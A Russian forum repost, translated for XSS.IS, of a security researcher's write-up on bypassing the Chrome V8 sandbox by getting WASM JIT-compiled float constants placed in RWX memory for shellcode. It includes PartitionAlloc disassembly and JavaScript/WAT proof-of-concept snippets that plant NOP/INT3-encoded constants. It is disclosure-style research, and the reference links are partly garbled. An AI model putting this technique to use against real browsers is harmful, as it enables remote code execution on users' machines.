Используйте Wasm, чтобы снова обойти последнюю версию Chrome v8sbx

D2

Администратор
Регистрация
19 Фев 2025
Сообщения
4,380
Реакции
0
01 – Введение

2 ноября 2023 года POC2023, как и было запланировано, состоялся в Южной Корее. Мне посчастливилось присутствовать на этой конференции, на которой мы с YYJB выступали на тему «Современная разработка цепочки эксплойтов Chrome».


Учитывая название «Модерн», было бы действительно немного неловко, если бы мы не поделились с участниками чем-то относительно новым. Поэтому, доработав нашу тему, я быстро погрузился в исследование обходов песочницы V8. Сначала я пытался обойти выборку двоичных данных, и в конце концов мне удалось обойти PartitionAlloc, добившись произвольного чтения и записи полного адреса. Подумав, что мне удалось это обойти, я быстро закончил презентацию и отправил ее организаторам, ожидая конференции.

Ранним утром 30 октября 2023 года, в час ночи, меня осенило, что я, возможно, что-то упустил из виду. Посреди ночи мне в голову пришла идея, побудившая меня протестировать произвольную функциональность чтения и записи. Напомним, что во время предыдущего мероприятия, Кубка Тяньфу, я воспользовался уязвимостью WASM, используя метод PartitionAlloc для достижения произвольного чтения и записи. Итак, на этот раз я изначально не особо задумывался об этом. Я только что протестировал функции чтения и записи. Однако когда я попытался читать и писать в WASM, произошел сбой. Я проснулся, осознав, что не полностью обошел песочницу V8.

После дальнейшей отладки и анализа дизассемблирования я пришел к выводу, что: PartitionAlloc изменился по сравнению с исходной версией. Точнее, были добавлены четыре новые меры по защите:

- Мы больше не можем управлять MetadataPage, изменяя FreeList. Это связано с тем, что Chrome проверяет разницу между текущим и следующим адресом и, если он не соответствует критериям, напрямую прерывает (int).

-Как только мы контролируем MetadataPage в предыдущей версии x86, над адресом FreeList выполняется логическая операция. Если FreeList не соответствует критериям, он прерывается напрямую (int3).

Раздел выделяет свободный список

Код: Скопировать в буфер обмена
Код:
558110B6E62B - bswap rdx
558110B6E62E - mov rsi,rdx
558110B6E631 - xor rsi,r12
558110B6E634 - cmp rsi,001FFFFF { 2097151 }
558110B6E63B - ja chrome+2C26B80 { ->558110B6EB80 } INT3
558110B6E641 - mov esi,edx
558110B6E643 - and esi,001FC000 { 2080768 }
558110B6E649 - je chrome+2C26B80 { ->558110B6EB80 } INT3

- Ограничения на запись целевого адреса в PartitionAlloc: Не слишком маленькие.
- и не слишком большие.

Я пришел к предварительному выводу: я не полностью обошел PartitionAlloc Alloc; Я получил произвольные возможности чтения и записи только в определенном диапазоне памяти.

Устранение последствий выделения метаданных в разделе (версия 118.0.5993.117)

Код: Скопировать в буфер обмена
Код:
chrome+2D202FF - mov rax,[chrome+DC12B60] { (162400000000=min(Partition Addr)) }
chrome+2D20306 - cmp rax,r14 (r14 is destination addr)
chrome+2D20309 - ja chrome+2D20B8B INT3 (if dest < min(PartitionAlloc addr) then crash))
chrome+2D2030F - add rax,[chrome+DC12B70] { (0) } (rax+lengthOfParthtion)
chrome+2D20316 - cmp rax,r14
chrome+2D20319 - jbe chrome+2D20B8B INT3 (if dest > max(PartitionAlloc addr) then crash))

02 – Поиск новых поверхностей для атаки

Убедившись, что я не полностью обошел систему, я немедленно связался с организаторами мероприятия по электронной почте, чтобы запросить позднее обновление моей презентации. Затем, беспокойный и неспособный заснуть, я продолжал свои попытки до 3 часов ночи, когда подумал, что, возможно, наткнулся на новый метод обхода. После небольшого перерыва я возобновил свои усилия в 5 утра и после тщательной отладки в конечном итоге подтвердил полный обход.

Чтобы обойти «песочницу» V8, нам необходимо добиться полного перехвата адреса и обеспечить стабильный переход адреса шеллкода. Другими словами, нам нужно надежное вычисление адреса RWX/RX. Ранее мы раскрыли способ обхода WASM для последней версии песочницы V8 с использованием встроенного перехвата указателя Function. Однако после нашего раскрытия Google быстро переместил распределение параметров функции в WASM в доступную для чтения и записи память, не позволяя нам разместить желаемый шеллкод в WASM. Здесь нам сначала потребуется перехватить указатель, что не так уж и сложно. Я считаю, что Google упустил из виду этот момент, как показано ниже.

1708675297496.png



Любой исследователь Chrome при создании эксплойта определит этот указатель в памяти, затем вычислит адрес WASM и, как и раньше, внедрит шеллкод. Однако Google не инкапсулировал этот указатель Native.

Внимательно изучив JIT-оптимизированный шелл-код, предоставленный Manyuemo, я заметил, что даже в последней версии Chrome оптимизированные числа с плавающей запятой по-прежнему размещаются в памяти RWX. Задача заключается в надежном вычислении этого адреса. Я не углублялся в исходный код для вычисления адресов после JIT, поскольку время имеет решающее значение.

Код: Скопировать в буфер обмена
Код:
function fun() {
    // 1.123=3ff1f7ced916872b
    return [1.123, 1.134, 1.345];
}
for (let i = 0; i < 0x5000; i++) {
    fun(0);
}
fun();

Код: Скопировать в буфер обмена
Код:
55D9B81040B8 - mov eax,00000006 { 6 }
55D9B81040BD - mov [rdi+03],eax
55D9B81040C0 - mov r10,3FF1F7CED916872B { 1.12 }
55D9B81040CA - vmovq xmm0,r10
55D9B81040CF - vmovsd [rdi+07],xmm0
55D9B81040D4 - mov r10,3FF224DD2F1A9FBE { 1.13 }
55D9B81040DE - vmovq xmm0,r10
55D9B81040E3 - vmovsd [rdi+0F],xmm0
55D9B81040E8 - mov r10,3FF5851EB851EB85 { 0.00 }
55D9B81040F2 - vmovq xmm0,r10

Я хотел бы поделиться здесь небольшой заметкой. Часто после реализации эксплойта возникают моменты, которые мне не совсем понятны, почему они сработали. Поскольку начальник настаивал на результатах, а теоретическая основа не была надежной в данных обстоятельствах, все, что я мог делать, это продолжать пытаться найти способ вызвать калькулятор. Обычно, как только эксплойт завершен, я быстро докладываю своему начальству, а основные причины и принципы можно будет изучить позже. Я считаю, что большая часть прогресса, достигнутого за последние несколько лет, стала результатом непрерывных проб и ошибок.

03 – JIT WASM

Опираясь на функцию JIT Manyuemo, я подозреваю, что если обход песочницы V8 существует, то он, скорее всего, будет найден в каких-то других периферийных областях. Например, в WASM, WebAudio, WebSQL и т. д. — областях, где написание эксплойтов раньше было простым, но где Google постоянно усиливает безопасность. Итак, я решил попробовать JIT-функцию WASM. И действительно, я обнаружил, что даже после оптимизации функции WASM помещают параметры в память RWX.

wat код

Код: Скопировать в буфер обмена
Код:
(module
  (func (export "main") (result f64)
    ;; -6.654614018578406e+60=CC90909090909090
    f64.const -6.654614018578406e+60
    ;; 1.124=3ff1fbe76c8b4396
    f64.const 1.124
    ;; 1.125=3ff2000000000000
    f64.const 1.125
    ;; 1.126=3ff204189374bc6a
    f64.const 1.126
    drop
    drop
    drop
))

Код: Скопировать в буфер обмена
Код:
var wasmCode = new Uint8Array([...wasm..binary…]);
var wasmModule = new WebAssembly.Module(wasmCode);
var wasmInstance = new WebAssembly.Instance(wasmModule);
var f = wasmInstance.exports.main;
for (let i = 0; i < 0x10000; i++) {
   f();
}
%DebugPrint(wasmInstance);

Код теста JavaScript, сгенерированный код

Код: Скопировать в буфер обмена
Код:
355CEAE43715 - jbe 355CEAE43771
355CEAE4371B - mov r10,CC90909090909090 { -1869574000 }
355CEAE43725 - vmovq xmm0,r10
355CEAE4372A - mov r10,3FF1FBE76C8B4396 { 1.12 }
355CEAE43734 - vmovq xmm1,r10
355CEAE43739 - mov r10,3FF2000000000000 { 1.13 }
355CEAE43743 - vmovq xmm2,r10
355CEAE43748 - mov r10,3FF204189374BC6A { 1.13 }
355CEAE43752 - vmovq xmm3,r10

04 – Демонстрация


Балансируя производительность JIT, как и предыдущие обходы WASM, мы должны рассмотреть возможность установки более длинных и предсказуемых констант, таких как числа с плавающей запятой, в R/RW или одновременно исправить их предсказуемые методы адресации. В противном случае злоумышленники могут легко добиться стабильного выполнения шеллкода.

06 – Ссылки

https://blog.noah.360.net/chromium_v8_remote_code_execution_vulnerability_anaанализ/
https://medium.com/@numencyberlabs/...on-to-bypass-the-latest-chrome-v8-sandbox-exp -of-issue1378239-251d9c5b0d14
https://medium.com/numen-cyber-labs/anaанализ -and-summary-of-tcp-ip-protocol-remote-code-execution-vulnerability-cve-2022-34718-8fcc28538acf
https://bugs.chromium.org/p/chromium/issues/detail?id=1452137


Переведено специально для XSS.IS
Автор перевода: yashechka
Источник: https://medium.com/@numencyberlabs/use-wasm-to-bypass-latest-chrome-v8sbx-again-639c4c05b157


View hidden content is available for registered users!
 
Сверху Снизу